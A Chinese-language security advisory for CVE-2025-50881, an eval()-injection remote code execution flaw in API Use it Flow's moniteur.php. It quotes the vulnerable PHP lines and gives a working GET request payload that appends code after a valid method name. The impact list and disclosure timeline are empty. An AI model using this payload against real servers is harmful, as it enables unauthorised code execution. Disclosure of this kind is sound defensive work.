标识符: CVE-2025-50881
受影响产品: API Use it Flow 版本 8.2.0 (Rev 15851), 版本 9.2.0 (Rev 18093)
编辑者: https://www.tenorsolutions.com (原 https://api-sas.fr/)
受影响组件: flow/admin/moniteur.php
漏洞类型: 通过 eval() 注入实现的远程代码执行 (RCE)
严重性: 严重
描述:
flow/admin/moniteur.php 脚本存在远程代码执行漏洞。在处理 GET 请求时,该脚本从 action URL 参数获取用户输入,执行不充分的验证,并将此输入合并到字符串 $wscom 中,随后由 eval() 函数执行。尽管存在 method_exists() 检查,但该检查仅验证用户输入中 第一个左括号 ( 之前 的部分,因此攻击者可以在有效方法调用结构之后附加任意 PHP 代码。成功利用后,未经验证或简单验证的攻击者即可在服务器上以 Web 服务器进程的权限执行任意 PHP 代码。
存在漏洞的代码片段:
文件: flow/admin/moniteur.php
读取用户输入 (约第45行):
if (isset($_GET['action'])) {$action=urldecode(htmlentities($_GET['action']));} else notice($server);
注释: $action 直接来自用户输入 ($_GET['action']),仅经过 URL 解码和 HTML 实体编码,这无法防止代码注入。
构造命令字符串 (约第47行):
$wscom='$ws->'.$action;
注释: 用户控制的 $action 被拼接到 $wscom 字符串中。
不充分的验证 (约第49行):
$func=explode("(",$action);
if (method_exists($ws, $func[0])) {
注释: 仅检查 $action 中第一个左括号之前的部分是否与 UIFWebService 类中的有效方法匹配。
通过 eval() 执行代码 (约第50行):
eval('$res=' . $wscom . ';');
利用方法:
攻击者可以构造一个对 moniteur.php 的 GET 请求,提供任意的 login 和 password 参数(因为它们在调用的方法中用于认证,而非 eval 本身),并提供一个恶意的 action 参数。action 参数必须以 UIFWebService 类中的有效方法名(例如 get_data)开头,以通过 method_exists 检查,随后附加注入的 PHP 代码。
示例有效载荷:
GET /admin/moniteur.php?login=foo&password=bar&action=get_data(1);phpinfo();$res=0; HTTP/1.1
Host: <target>
此有效载荷导致 eval() 执行类似以下的代码:
$res = $ws->get_data(1);phpinfo();$res=0;;
这首先执行 get_data 方法,然后执行 phpinfo(),最后将 $res 设置为 0。
影响: 攻击者可以在服务器上执行任意命令,可能导致:
披露时间线:
注释: 构造的字符串 $wscom 包含用户输入,并作为 PHP 代码执行。